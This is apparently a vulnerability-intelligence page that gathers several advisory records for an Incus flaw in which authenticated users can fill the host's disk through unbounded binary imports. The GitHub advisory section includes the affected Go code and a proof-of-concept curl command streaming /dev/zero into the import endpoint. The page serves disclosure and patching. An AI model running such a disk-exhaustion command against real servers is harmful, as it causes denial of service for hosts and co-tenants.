Incus: Unbounded binary import disk exhaustion

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Incus is a system container and virtual machine manager. Prior to version 7.0.0, uploads of large amount of data by authenticated users can run the Incus server out of disk space, potentially taking down the host system. The impact here is limited for anyone using storage.images_volume and storage.backups_volume as those users will have large uploads be stored on those volumes rather than directly on the host filesystem. This is the default behavior on IncusOS. This issue has been patched in version 7.0.0.

Source published

7 May 2026 13:09:34 UTC

Source modified

7 May 2026 13:50:17 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Incus is a system container and virtual machine manager. Prior to version 7.0.0, uploads of large amount of data by authenticated users can run the Incus server out of disk space, potentially taking down the host system. The impact here is limited for anyone using storage.images_volume and storage.backups_volume as those users will have large uploads be stored on those volumes rather than directly on the host filesystem. This is the default behavior on IncusOS. This issue has been patched in version 7.0.0.

Source published

May 7, 2026, 1:09:34 PM (timezone not stated)

Source modified

May 7, 2026, 1:50:17 PM (timezone not stated)

Observed here

1 Nov 2026 23:05:10 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Incus is a system container and virtual machine manager. Prior to version 7.0.0, uploads of large amount of data by authenticated users can run the Incus server out of disk space, potentially taking down the host system. The impact here is limited for anyone using storage.images_volume and storage.backups_volume as those users will have large uploads be stored on those volumes rather than directly on the host filesystem. This is the default behavior on IncusOS. This issue has been patched in version 7.0.0.

Source published

7 May 2026 14:16:03 UTC

Source modified

26 Oct 2026 20:10:00 UTC

Observed here

27 Oct 2026 10:10:19 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

### Summary Uploads of large amount of data by authenticated users can run the Incus server out of disk space, potentially taking down the host system. The impact here is limited for anyone using `storage.images_volume` and `storage.backups_volume` as those users will have large uploads be stored on those volumes rather than directly on the host filesystem. This is the default behavior on IncusOS. ### Details Multiple binary import paths accept application/octet-stream requests and stream the HTTP request body directly into temporary files on the host without any visible request-size limit on the upload path. When these endpoints receive binary content, the daemon routes the request body into import routines that create temporary files under daemon-controlled host storage locations and copy the full attacker-controlled stream into them using direct io.Copy operations. This write occurs before the uploaded content is fully parsed and before later validation can reject the import. Because no visible http.MaxBytesReader, io.LimitReader, quota-aware wrapper, or equivalent size-enforcement mechanism is present around these upload paths, an authenticated attacker can supply an arbitrarily large continuous stream of data. This causes the daemon to keep writing unbounded input to host storage until the operation fails or the underlying file system is exhausted. In a multi-tenant deployment, this can be used to consume shared disk space and cause denial of service on the node. The binary import handlers are reachable through application/octet-stream request paths in the instance backup import, storage bucket import, and storage volume import flows, where the request body is passed directly into import helpers handling backup and ISO uploads. Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/instances_post.go Affected Code: ``` func createFromBackup(s *state.State, r *http.Request, projectName string, data io.Reader, pool string, instanceName string, config string, device string) response.Response { reverter := revert.New() defer reverter.Fail() // Create temporary file to store uploaded backup data. backupFile, err := os.CreateTemp(internalUtil.VarPath("backups"), fmt.Sprintf("%s_", backup.WorkingDirPrefix)) if err != nil { return response.InternalError(err) } defer func() { _ = os.Remove(backupFile.Name()) }() reverter.Add(func() { _ = backupFile.Close() }) // Stream uploaded backup data into temporary file. _, err = io.Copy(backupFile, data) if err != nil { return response.InternalError(err) } [...] } ``` Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/storage_buckets.go Affected Code: ``` func createStoragePoolBucketFromBackup(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, bucketName string) response.Response { [...] backupFile, err := os.CreateTemp(internalUtil.VarPath("backups"), fmt.Sprintf("%s_", backup.WorkingDirPrefix)) [...] _, err = io.Copy(backupFile, data) [...] } ``` Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/storage_volumes.go Affected Code: ``` func createStoragePoolVolumeFromBackup(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, volName string) response.Response { [...] backupFile, err := os.CreateTemp(internalUtil.VarPath("backups"), fmt.Sprintf("%s_", backup.WorkingDirPrefix)) [...] _, err = io.Copy(backupFile, data) [...] } [...] func createStoragePoolVolumeFromISO(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, volName string) response.Response { [...] isoFile, err := os.CreateTemp(internalUtil.VarPath("isos"), fmt.Sprintf("%s_", "incus_iso")) [...] size, err := io.Copy(isoFile, data) [...] } ``` ### PoC The following PoC demonstrates one reachable instance of this issue through the instance import endpoint. The same unbounded upload-to-tempfile pattern is also present in storage bucket backup import, storage volume backup import, and storage volume ISO import handlers. Step 1: Trigger the sustained upload stream From an Incus client with access to the target server, open a long-lived application/octet-stream upload and continuously stream null bytes into the instance import endpoint. Using timeout 120 limits the reproduction to two minutes while still demonstrating that the daemon keeps writing attacker-controlled input for as long as the connection remains open. Commands: ``` echo "[*] Initiating a 2-minute sustained disk exhaustion attack..." timeout 120 cat /dev/zero | curl -k -X POST \ --cert ~/.config/incus/client.crt \ --key ~/.config/incus/client.key \ "https://7atest.dev.stgraber.org:443/1.0/instances?project=default" \ -H "Content-Type: application/octet-stream" \ -T - ``` Step 2: Verify host-side disk growth during the upload On the Incus host, observe the temporary backup file being actively written under the backups directory while the client keeps the stream open. Command: ``` watch -n 1 "ls -lh /var/lib/incus/backups/" ``` Result: ``` total 100M drwx------ 2 root root 4.0K Mar 1 22:44 custom -rw------- 1 root root 100M Mar 23 10:46 incus_backup_2743299426 drwx------ 2 root root 4.0K Mar 1 22:44 instances total 106M drwx------ 2 root root 4.0K Mar 1 22:44 custom -rw------- 1 root root 106M Mar 23 10:46 incus_backup_2743299426 drwx------ 2 root root 4.0K Mar 1 22:44 instances total 110M drwx------ 2 root root 4.0K Mar 1 22:44 custom -rw------- 1 root root 110M Mar 23 10:46 incus_backup_2743299426 drwx------ 2 root root 4.0K Mar 1 22:44 instances total 113M drwx------ 2 root root 4.0K Mar 1 22:44 custom -rw------- 1 root root 113M Mar 23 10:46 incus_backup_2743299426 drwx------ 2 root root 4.0K Mar 1 22:44 instances ``` Step 3: Observe post-stream failure behavior When the client-side timeout expires, the upload is interrupted locally and the stream stops. In this reproduction, that means the process is terminated before any later import-stage error is surfaced back to the client. This does not mitigate the issue during the active upload window, because io.Copy continues writing to disk for as long as the attacker keeps the stream open. It is recommended to enforce a maximum request size or quota-aware upload limit in the affected binary import paths before any data is written to disk. The incoming request body should be wrapped with http.MaxBytesReader, io.LimitReader, or an equivalent quota-aware mechanism so that oversized uploads fail safely before consuming unbounded host storage. By contrast, other upload flows such as image upload appear to use internalIO.NewQuotaWriter(..., budget) when persisting request data, but no analogous quota enforcement is visible in the affected binary import handlers. A patch is available at https://github.com/lxc/incus/releases/tag/v7.0.0. ### Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

Source published

4 May 2026 19:46:32 UTC

Source modified

25 Jun 2026 23:11:35 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Publisher rating · MODERATE

Incus is affected by unbounded binary import disk exhaustion in github.com/lxc/incus

Source published

25 Jun 2026 22:34:31 UTC

Source modified

25 Jun 2026 23:00:16 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.